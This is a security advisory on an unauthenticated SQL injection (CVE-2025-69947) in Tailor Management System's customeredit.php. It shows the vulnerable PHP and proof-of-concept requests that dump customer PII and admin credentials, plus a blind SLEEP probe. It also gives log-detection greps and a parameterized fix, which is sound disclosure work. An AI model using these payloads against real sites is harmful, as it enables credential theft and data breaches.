Overview
A second critical SQL injection vulnerability (CVSS 9.8) has been disclosed in SourceCodester Tailor Management System 1.0, affecting the customeredit.php endpoint. Like its companion flaw CVE-2025-69941 (affecting addmeasurement.php), this vulnerability is exploitable by an unauthenticated remote attacker and provides full read and potential write access to the application's database.
Vulnerability Summary
| Attribute | Value |
|---|---|
| CVE ID | CVE-2025-69947 |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network |
| Authentication | None required |
| Type | SQL Injection |
| Affected Software | SourceCodester Tailor Management System 1.0 |
| Companion CVE | CVE-2025-69941 |
| Patched Version | None disclosed |
Technical Details
The customeredit.php script populates a customer edit form by fetching a record based on the id query parameter. This parameter is inserted into a SQL query without escaping or parameterization.
Vulnerable Code Pattern
<?php
// customeredit.php — simplified representation
$id = $_GET['id']; // Direct user input with no sanitization
$query = "SELECT * FROM customers WHERE id='$id'";
$result = mysqli_query($conn, $query);
$row = mysqli_fetch_array($result);Proof-of-Concept
String-context injection (single-quote bypass):
GET /customeredit.php?id=1' OR '1'='1 HTTP/1.1
Host: vulnerable-target.exampleExtract all customer records:
GET /customeredit.php?id=0' UNION SELECT 1,name,email,phone,address FROM customers-- HTTP/1.1
Host: vulnerable-target.exampleAdmin credential dump:
GET /customeredit.php?id=0' UNION SELECT 1,username,password,4,5 FROM admin-- HTTP/1.1
Host: vulnerable-target.exampleBlind time-based (no error/output visible):
GET /customeredit.php?id=1' AND SLEEP(5)-- HTTP/1.1
Host: vulnerable-target.exampleData at Risk
The customer table in typical Tailor Management System deployments contains:
customers table:
- id (integer)
- name (full name — PII)
- contact (phone number — PII)
- email (email address — PII)
- address (physical address — PII)
- gender
- created_atImpact Assessment
| Risk | Severity | Description |
|---|---|---|
| Data Breach | Critical | All customer PII exposed |
| Credential Theft | Critical | Admin credentials extractable |
| Data Manipulation | High | Records can be modified via stacked queries |
| Reputational Damage | High | Customer trust destroyed on disclosure |
| Regulatory Exposure | High | GDPR/PIPEDA breach reporting obligations may apply |
Detection
Identify Exploitation in Logs
# Flag injected quote patterns
grep -E "customeredit\.php\?id=.*'" /var/log/nginx/access.log
# Detect UNION SELECT in GET parameters
grep -iE "customeredit.*UNION\s+SELECT" /var/log/apache2/access.log
# Check for sleep-based blind SQLi
grep -iE "customeredit.*SLEEP\([0-9]+\)" /var/log/apache2/access.logIndicators of Compromise
Suspicious signs in application logs:
- Multiple requests to customeredit.php with varying id values
- HTTP 500 errors triggered from customeredit.php (error-based extraction)
- Abnormally long URLs for the id parameter
- Requests containing UNION, SELECT, information_schema, OR 1=1Remediation
Fix the Vulnerable Endpoint
<?php
// FIXED — customeredit.php
$id = $_GET['id'] ?? '';
// Numeric IDs: strict cast and validate
if (!ctype_digit($id) || (int)$id <= 0) {
http_response_code(400);
exit('Invalid customer ID');
}
$id = (int)$id;
// Prepared statement — parameterized query
$stmt = $conn->prepare("SELECT * FROM customers WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();Broader Security Controls
Application Layer:
- Audit ALL query-building code in the application for similar patterns
- Systematically replace string concatenation with prepared statements
- Use an ORM or query builder that parameterizes by default
Session and Access:
- Require authentication before any customer record is accessible
- Implement CSRF tokens on all forms
- Apply rate limiting on all endpoints to slow automated attacks
Infrastructure:
- Deploy behind a WAF with SQLi rule set (ModSecurity + OWASP CRS)
- Configure PHP to suppress display_errors in production
- Restrict DB user to minimum required privileges
Monitoring:
- Alert on unusual request volumes to any .php file
- Ship access logs to a SIEM with SQLi detection rulesRelationship to CVE-2025-69941
Both CVE-2025-69941 (addmeasurement.php) and CVE-2025-69947 (customeredit.php) stem from the same root cause: unsanitized GET parameters concatenated into SQL queries throughout the Tailor Management System codebase. Organizations running this application should assume all parameterized endpoints are similarly vulnerable and audit the entire codebase, not just these two files.
References
- NVD Entry — CVE-2025-69947
- NVD Entry — CVE-2025-69941 (companion)
- CWE-89: Improper Neutralization of Special Elements in SQL Command
- OWASP SQL Injection Prevention Cheat Sheet
Advisory published: July 31, 2026